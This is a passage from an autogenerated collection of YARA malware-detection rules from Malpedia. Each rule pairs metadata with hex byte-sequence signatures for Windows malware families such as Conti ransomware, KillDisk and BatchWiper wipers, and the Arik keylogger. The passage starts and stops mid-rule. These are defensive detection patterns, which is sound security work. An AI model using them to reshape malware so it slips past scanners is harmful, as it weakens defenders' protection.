		$sequence_2 = { 3b5c242c 7f59 66ff84463c0b0000 33c9 }
		$sequence_3 = { e8???????? 83bd5014000002 59 59 }
		$sequence_4 = { 8bc2 41 3bca 8b542418 0f4ec1 8b4c2414 89442430 }
		$sequence_5 = { 8bcf c7460471000000 e8???????? 33c9 394e14 }
		$sequence_6 = { 5b e9???????? a1???????? 8bcf c746049a020000 894718 e8???????? }
		$sequence_7 = { 3bca 7420 0fb7449d02 8bca }
		$sequence_8 = { 80ea03 c6040101 8b8ea0160000 8b8698160000 41 898ea0160000 c6040100 }
		$sequence_9 = { 57 ffb42444010000 ffb4244c010000 50 }
	condition:
		7 of them and filesize < 465920
}

rule MALPEDIA_Win_Bangat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "05c414bb-9422-5f0e-974d-c56fdab166b4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bangat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bangat_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "5cb16644073e6088f8c102fdd3bad27fec482e34ef437064c8f923550a4b4259"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 8d45fc 50 e8???????? 8b4508 8325????????00 83c418 }
		$sequence_1 = { 3bc7 7d02 8bc7 50 ff75d8 68???????? 56 }
		$sequence_2 = { 8a8888f44000 ff248d30f44000 8b5e6c 5f 8bc3 5e 5b }
		$sequence_3 = { 33c9 8a4c2432 8a9950ec4700 33c9 8aa850ec4700 8bfb }
		$sequence_4 = { 6859020000 68???????? 68fc000000 6a77 6a14 e8???????? }
		$sequence_5 = { 8b348d50e84700 33c6 8d7720 8bbff0000000 33c5 d1ff 4f }
		$sequence_6 = { 83c40c 6a0a 53 53 8d45f4 53 }
		$sequence_7 = { ff15???????? 85c0 742d 8d85d4feffff 50 8d85d4f5ffff 68???????? }
		$sequence_8 = { 895c2424 897c2428 e8???????? 83c414 e8???????? 53 }
		$sequence_9 = { 85c0 749b 6803002e00 6a00 6812030000 68ffff0000 }
	condition:
		7 of them and filesize < 1228800
}

rule MALPEDIA_Win_Virdetdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bddd89ab-b028-56e4-8a65-8d3729c122ca"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virdetdoor_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "57c5b5ddcc0bcf4c5308e3cdd78b8a805ec821f22a4427e25f940eedfad4c1ef"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c40c 83feff 7502 33f6 }
		$sequence_1 = { 0fb74714 50 ff15???????? 0fb7c0 50 }
		$sequence_2 = { 59 3945fc 7e4e 397dfc 7e49 8b35???????? 68???????? }
		$sequence_3 = { 53 56 57 8bf9 c745f810270000 33db 33c9 }
		$sequence_4 = { 6a0c 50 52 51 ff15???????? }
		$sequence_5 = { 8b7d10 57 7434 8b35???????? ffd6 50 8d45cc }
		$sequence_6 = { c6010b e9???????? c6010c e9???????? c6010d e9???????? }
		$sequence_7 = { 83c40c 83c01c 50 6a08 ff15???????? }
		$sequence_8 = { 3bc1 75ec 3903 74d2 ebe6 85ff 75cc }
		$sequence_9 = { ff35???????? ff15???????? 8bc8 85c9 7450 6a5c }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Conti_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "495a4961-c51d-5437-b6e5-42c5ef6dadea"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.conti"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.conti_auto.yar#L1-L249"
		license_url = "N/A"
		logic_hash = "8e7e21e9b7d082151509bf910013dc897955e4fc02be809b33bd86909bb72949"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7542 53 bb0e000000 57 8d7e01 8d7371 }
		$sequence_1 = { 56 8bf1 8975fc 803e00 7542 53 bb0e000000 }
		$sequence_2 = { 8d7f01 0fb6c0 b957000000 2bc8 }
		$sequence_3 = { 0f1f4000 8a07 8d7f01 0fb6c0 b966000000 2bc8 }
		$sequence_4 = { 8d7f01 0fb6c0 b927000000 2bc8 }
		$sequence_5 = { 8d7f01 0fb6c0 b978000000 2bc8 }
		$sequence_6 = { 56 57 bf0e000000 8d7101 }
		$sequence_7 = { 8d7f01 0fb6c0 b918000000 2bc8 }
		$sequence_8 = { ff75fc ff15???????? e9???????? 6800800000 }
		$sequence_9 = { 57 56 ff15???????? ff75f8 56 ff15???????? }
		$sequence_10 = { 7605 b800005000 6a00 8d4c2418 }
		$sequence_11 = { ffd0 85c0 7519 c705????????0a000000 e9???????? b801000000 e9???????? }
		$sequence_12 = { 6810660000 ff7508 ff15???????? 85c0 }
		$sequence_13 = { e8???????? 8bb6007d0000 85f6 75ef }
		$sequence_14 = { ff75f8 ff15???????? 85c0 7508 6a01 ff15???????? 6aff }
		$sequence_15 = { 7411 a801 740d 83f001 50 ff7608 ff15???????? }
		$sequence_16 = { 53 56 8bf1 57 ff7608 ff15???????? }
		$sequence_17 = { 3ce9 7412 3cff 0f859d000000 807f0125 0f8593000000 }
		$sequence_18 = { 85c0 742b 03f0 03d8 }
		$sequence_19 = { 41b901000000 4533c0 488bd3 488bce }
		$sequence_20 = { 410f4ff5 488bcb 448bc6 ffd0 }
		$sequence_21 = { 49f7e8 4903d0 48c1fa06 488bca 48c1e93f 4803d1 488d3c92 }
		$sequence_22 = { 72c3 488b7c2448 b801000000 488b742440 4883c430 }
		$sequence_23 = { ffd0 4c3beb 740f 4c3bfb 740a 4c3bf3 }
		$sequence_24 = { 4833c4 4889442438 4533e4 418be8 4489642430 4c8bfa 4c8bf1 }
		$sequence_25 = { 8b4c2430 8b05???????? 03c7 03c8 894c2430 8b442430 }
	condition:
		7 of them and filesize < 520192
}

rule MALPEDIA_Win_Hermeticwizard_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a90e0914-4bb5-5c18-8701-049f4c06d7e8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermeticwizard_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "942915314ef1e17eaccf9202ed3b81b64aa22d4533742c599cd868661ae4ab21"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6800080000 50 e8???????? 83c410 85c0 }
		$sequence_1 = { 1bdb 83cb01 85db 0f94c0 }
		$sequence_2 = { 6685db 7415 668b5902 663b5f02 750f 83c104 83c704 }
		$sequence_3 = { 6689853effffff 66898540ffffff 33c0 66898542ffffff 8b45f8 66898d16ffffff }
		$sequence_4 = { 3bc7 7442 8b35???????? 83c008 50 }
		$sequence_5 = { 57 8bf1 8bfa 68???????? 56 ff15???????? 85c0 }
		$sequence_6 = { 894310 8b45f0 c745ec989d0110 8d1486 }
		$sequence_7 = { 7410 68???????? 8bce e8???????? 59 894308 }
		$sequence_8 = { 668b4104 663b4204 750b 8b4108 3b4208 7503 }
		$sequence_9 = { 50 e8???????? 3b30 7533 8b45fc }
	condition:
		7 of them and filesize < 263168
}

rule MALPEDIA_Win_Chairsmack_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4b93b15a-7734-556f-a7b1-b4512d41aa64"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chairsmack"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chairsmack_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "1d38706ad5291374964e24dbf3b78379e0e5a0a84fd9338e0e05cc9f4e1d7fa2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8a01 41 84c0 75f9 2b4dac 8d450c 6a00 }
		$sequence_1 = { c7462000000000 c7462400000000 c7462800000000 c7462c00000000 e8???????? 6819020000 68???????? }
		$sequence_2 = { 8d44241c 50 e8???????? 50 c684248c00000002 e8???????? }
		$sequence_3 = { 8b8dd0fdffff 83e11f c1e106 030c85d06d4a00 898d30fdffff eb0a c78530fdffff78474a00 }
		$sequence_4 = { 50 e8???????? 83c404 8d8580feffff 68b8000000 6a00 50 }
		$sequence_5 = { 68???????? e8???????? 83ec1c c68424b80300009f 8bcc 68???????? e8???????? }
		$sequence_6 = { 837dc800 7526 68???????? 68???????? 6a00 68de000000 68???????? }
		$sequence_7 = { ff15???????? 8b4d08 8b148dcc504a00 83e202 740d 8d85e4dfffff 50 }
		$sequence_8 = { 0fb745ec eb5a 8d45ec 8d4dc8 3945c0 7579 8d4594 }
		$sequence_9 = { 7207 8b16 895518 eb03 897518 83f810 7204 }
	condition:
		7 of them and filesize < 1974272
}

rule MALPEDIA_Win_Avrecon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e925dd84-abb8-59f0-bccd-32907a99e474"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avrecon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avrecon_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "765f86e5cde1b429c99a3eaacfdc82ca40acf684e216c378122ba2b0c85c22ec"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a24 8d4554 50 e8???????? }
		$sequence_1 = { 8d45f8 50 53 ff75ec c745f801000000 ffd7 83f8ff }
		$sequence_2 = { 83791c01 7511 6a00 8d4514 50 56 57 }
		$sequence_3 = { 8d4401fc c7457401000000 894570 8d7c1f04 837d7000 }
		$sequence_4 = { 807d7301 7508 e8???????? 885d73 8d85a8f3ffff 50 }
		$sequence_5 = { 8d85a8f7ffff 50 c7454000040000 ff15???????? }
		$sequence_6 = { 51 894d30 33c0 8d8d18feffff 40 51 50 }
		$sequence_7 = { 50 bb7f660440 53 ff7508 c745f801000000 ffd7 83f8ff }
		$sequence_8 = { 50 e8???????? 85c0 7466 6a0e 68???????? }
		$sequence_9 = { 83650800 b8e8030000 660105???????? 0fb705???????? 50 ffd6 668945de }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Killdisk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1c433beb-dada-5b26-9857-13f0bee328ff"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.killdisk_auto.yar#L1-L164"
		license_url = "N/A"
		logic_hash = "50990d6a3b9890877b878363fc44a7021b275eb6d67ceb6edc1c960b038217f1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 8945e4 8b7508 c7465c904c4200 33ff }
		$sequence_1 = { 75f7 2bca 8d7c243c 8bf2 8bd1 }
		$sequence_2 = { 881c24 e8???????? d2cd 80d213 66c1e204 8b5500 f8 }
		$sequence_3 = { eb09 8b442430 2bc1 c1f802 8d3c8500000000 57 }
		$sequence_4 = { c604243a 9c 8d642434 e9???????? }
		$sequence_5 = { 84c0 75c1 8d442404 50 }
		$sequence_6 = { e9???????? 66894500 66897c240c 882c24 }
		$sequence_7 = { 0f8482000000 55 e8???????? 8b1d???????? }
		$sequence_8 = { e8???????? 881438 e8???????? 9c c6442408cf 894508 e9???????? }
		$sequence_9 = { 6800100000 51 8bf0 ff15???????? }
		$sequence_10 = { 46 66892c24 9c 8d64244c e9???????? 9c }
		$sequence_11 = { 88442408 50 8d642434 e9???????? }
		$sequence_12 = { 3b54242c 0f84d5000000 b83092c201 33ff e8???????? 85c0 }
		$sequence_13 = { e9???????? 883424 ff742420 8f4500 9c }
		$sequence_14 = { f5 88742408 c70424ba7bbfa4 660fbae408 662dca11 e8???????? 881438 }
		$sequence_15 = { 8b542438 6888130000 52 ff15???????? }
	condition:
		7 of them and filesize < 10817536
}

rule MALPEDIA_Win_Batchwiper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8e0f816b-f334-5f53-bde8-8c13e5a1573a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.batchwiper_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "7b7cda4dab9bb8ec218294d77768f35a5d54eba78e3d583128b9f7cf9e6690f0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a1???????? 50 50 ff742408 e8???????? 8d0d2cb14000 5a }
		$sequence_1 = { 8d0d24b14000 5a e8???????? c744240c02000000 }
		$sequence_2 = { a1???????? 50 50 ff35???????? ff35???????? e8???????? 8d0d9cb14000 }
		$sequence_3 = { 8d0d44b14000 e8???????? ba???????? 8d0d48b14000 e8???????? ba???????? 8d0d4cb14000 }
		$sequence_4 = { ff96e0de0100 09c0 7407 8903 }
		$sequence_5 = { e8???????? a3???????? 8b1d???????? 21db 7e65 c705????????00000000 8b1d???????? }
		$sequence_6 = { e8???????? ba???????? 8d0d60b14000 e8???????? ba???????? 8d0d64b14000 e8???????? }
		$sequence_7 = { 893d???????? c705????????dd424000 c705????????80464000 c705????????da464000 }
		$sequence_8 = { 8b442408 894514 8b442404 894518 }
		$sequence_9 = { 46 46 53 686d490100 57 }
	condition:
		7 of them and filesize < 270336
}

rule MALPEDIA_Win_Lechiket_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "08dac53f-197a-5416-a7db-8f3c1de4ec77"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lechiket"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lechiket_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "fc33b6d2e9f07c53a0ef858e0194b9a6cf5341ef888af832ba9746c5214aaca1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 ff15???????? 3d02010000 7519 56 ff15???????? 53 }
		$sequence_1 = { 57 eb4b 8a16 80fac0 }
		$sequence_2 = { 740f 47 3b7d0c 76d6 33c0 }
		$sequence_3 = { 51 ff7518 8365fc00 ff7514 8d4510 }
		$sequence_4 = { c786????????1a000000 8a550b 8bcb ff15???????? 5f 5e }
		$sequence_5 = { ff750c e8???????? 85c0 0f84bdfdffff 8b4df8 8d7c0f01 8d480a }
		$sequence_6 = { 85d2 7505 b80d0000c0 85ff 5e 740c 85c0 }
		$sequence_7 = { e8???????? 84c0 7504 fec0 eb1c 53 8bce }
		$sequence_8 = { 33f6 39750c 57 7613 ff15???????? 88843500ffffff 46 }
		$sequence_9 = { 8945f8 8d45d0 6808070000 50 }
	condition:
		7 of them and filesize < 331776
}

rule MALPEDIA_Win_Arik_Keylogger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7c7e785e-68b0-5d15-8779-d3bc99c37de2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.arik_keylogger_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "3dfa4619d5193e3c6023ed0580ae1b26d4332f72fbcfed50985df75f7171bee8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b8???????? e8???????? 83f801 0f85cb000000 8d45b8 e8???????? c745b800000000 }
		$sequence_1 = { 8d55b0 e8???????? 8b55b0 8d45ac b9???????? e8???????? 8b55ac }
		$sequence_2 = { e8???????? 8b45f8 80780700 740b 8d55f0 8b45f8 e8???????? }
		$sequence_3 = { e8???????? 84c0 741d 6a00 6a00 68c6000000 8b45fc }
		$sequence_4 = { c645f400 8b55fc b8???????? e8???????? 84c0 0f84b3010000 8b45fc }
		$sequence_5 = { e8???????? 89c1 81f9ff000000 7605 e8???????? 8802 eb08 }
		$sequence_6 = { e8???????? 88459c 8b45a8 48 83f804 7723 ff248590826100 }
		$sequence_7 = { e8???????? c745d000000000 8d4dd0 89d8 ba07000000 8b33 ff5678 }
		$sequence_8 = { 8d45e4 baffffffff e8???????? 8945f8 c645ec00 8d4dd8 8d55c0 }
		$sequence_9 = { b8???????? e8???????? 84c0 741b 8b45fc 8b80a8020000 8b55f4 }
	condition:
		7 of them and filesize < 4947968
}

rule MALPEDIA_Win_Httpdropper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "18260766-6bdf-5211-bbc4-97447962c71b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.httpdropper_auto.yar#L1-L186"
		license_url = "N/A"
		logic_hash = "22451066791784b19aa73ef3663c2f2d2a5d036611d6a095731732bebf19aeab"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bd8 8985d0f0ffff 85db 0f8482000000 6a3c 8d8554f0ffff 6a00 }
		$sequence_1 = { 3dff000000 0f87c3020000 f685a8f7ffff10 0f844f010000 8b751c 3bf3 0f8444010000 }
		$sequence_2 = { 83c40c 6803010000 8d8c2444030000 51 c744241400000000 ff15???????? 8b3d???????? }
		$sequence_3 = { 75f9 2bc1 7511 33c0 5e 8b4dfc 33cd }
		$sequence_4 = { b9???????? 8bf0 e8???????? 50 8d9435f4feffff 68???????? 52 }
		$sequence_5 = { 8d8d64f2ffff e8???????? 687f0c0000 8d856df2ffff }
		$sequence_6 = { 50 8d95f8feffff 52 e8???????? 83c408 85c0 }
		$sequence_7 = { 8bc6 c1f805 8d0c8560aa0310 8bc6 83e01f c1e006 8b11 }
		$sequence_8 = { 41b800040000 c684246002000000 e8???????? 488d8c2470060000 4c8bcf ba01000000 41b800040000 }
		$sequence_9 = { 48894c2450 498bf0 0fb6fa 488d8da1000000 33d2 41b80b030000 }
		$sequence_10 = { 48c7c102000080 4889442420 ff15???????? 85c0 0f8513010000 488d0d761d0200 c744244004000000 }
		$sequence_11 = { 488985400f0000 4c8bb5c00f0000 48894c2450 4d8be0 4c89442448 488bf2 488d8d31060000 }
		$sequence_12 = { 41f7e8 c1fa05 4c8d0520440200 8bc2 c1e81f 03d0 }
		$sequence_13 = { 488bd0 ff15???????? 488d0d6b080200 488905???????? e8???????? 488bcb }
		$sequence_14 = { 53 55 56 4154 4155 4883ec50 448bca }
		$sequence_15 = { 450fb6c0 4489542430 89542428 894c2420 488d1599d50100 488d8c2490000000 }
	condition:
		7 of them and filesize < 524288
}

rule MALPEDIA_Win_Chiser_Client_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c99b11d6-95f8-5089-bb79-3dcbcddf715f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chiser_client"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chiser_client_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "a4f562ea6b25a50fa272453bc9361d6900c9cafcbad3f751e3aa04995d53620d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48890a 48894a08 488d4808 e8???????? 488d05a9e30200 488903 488bc3 }
		$sequence_1 = { 480f40c1 488bc8 e8???????? 488bc8 49890424 }
		$sequence_2 = { 0f1f440000 418d40fc 460fb61408 418d40fd 460fb61c08 }
		$sequence_3 = { c744245865007800 c744245c2e006800 c744246074006d00 c74424646c000000 4c89742430 bf01000000 897c2428 }
		$sequence_4 = { 498b0e 4c8d4110 488d5108 e8???????? 90 488bcb e8???????? }
		$sequence_5 = { 41b904000000 0f1f440000 b904000000 6666660f1f840000000000 410fb60414 }
		$sequence_6 = { 488bc5 0f1f00 48ffc0 66833c4100 75f6 83c008 4863f8 }
		$sequence_7 = { 48636908 488bf1 4c8b7118 b802000000 }
		$sequence_8 = { 48894320 488d1511f5ffff e8???????? eb09 488bcb ff15???????? 408ac5 }
		$sequence_9 = { 81ca00000780 85c0 0f4ed0 e8???????? 488d1584aa0100 488d4c2440 }
	condition:
		7 of them and filesize < 714752
}

rule MALPEDIA_Win_Sys10_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f6b87c71-e5a8-51b9-bf42-5ce35b9897c0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sys10_auto.yar#L1-L112"
		license_url = "N/A"
		logic_hash = "34aa3f50a631ab8b6462b3454dab9cbf3c83a5ccbafc56348e488e070debe8a8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ffd7 8b4b08 51 }
		$sequence_1 = { 7511 6810270000 ff15???????? 33c0 }
		$sequence_2 = { ffd3 6a00 6a00 6a00 6a00 8bf8 }
		$sequence_3 = { 7407 53 ff15???????? 8b06 50 }
		$sequence_4 = { 53 52 e8???????? 83c42c 85c0 }
		$sequence_5 = { ffd7 8b4304 50 ffd7 8b4b08 51 }
		$sequence_6 = { 52 ffd7 8b4308 50 }
		$sequence_7 = { 57 8d542438 53 52 e8???????? }
		$sequence_8 = { 6a00 897c2434 894c242c 89742438 }
		$sequence_9 = { 52 6a05 50 ffd6 8b5308 }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Quantloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a6fbe65e-ef8a-5bc4-b8a9-95dfb59d427c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quantloader_auto.yar#L1-L174"
		license_url = "N/A"
		logic_hash = "bf8a50a2e031ac2dab43be4a697ae58f19b78ab51aef8ac12657d4c13c8a8701"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8945f8 837df800 7405 8b45f8 ffd0 c9 c3 }
		$sequence_1 = { e8???????? c744240800000000 c7442404???????? 8b4508 890424 e8???????? 85c0 }
		$sequence_2 = { 8b45f8 40 8945f0 eb13 }
		$sequence_3 = { c785d4f7ffff00000000 e9???????? c744241400000000 c744241000000084 c744240c00000000 c744240800000000 8b4508 }
		$sequence_4 = { c70424???????? e8???????? 83ec08 8b450c }
		$sequence_5 = { 837df400 750f c785d4f7ffff00000000 e9???????? }
		$sequence_6 = { c70424???????? e8???????? 85c0 0f8eaa000000 }
		$sequence_7 = { e8???????? 89442404 c70424???????? e8???????? c7442408???????? c7442404???????? c7042402000080 }
		$sequence_8 = { 33c0 66ad 66a90030 7408 }
		$sequence_9 = { c3 8b7d74 6a04 6800100000 57 6a00 ff5510 }
		$sequence_10 = { 60 8bf3 03763c 8bb680000000 85f6 }
		$sequence_11 = { c7457c00000000 81c243e15762 8b4d74 8bfe 837d6400 7403 017564 }
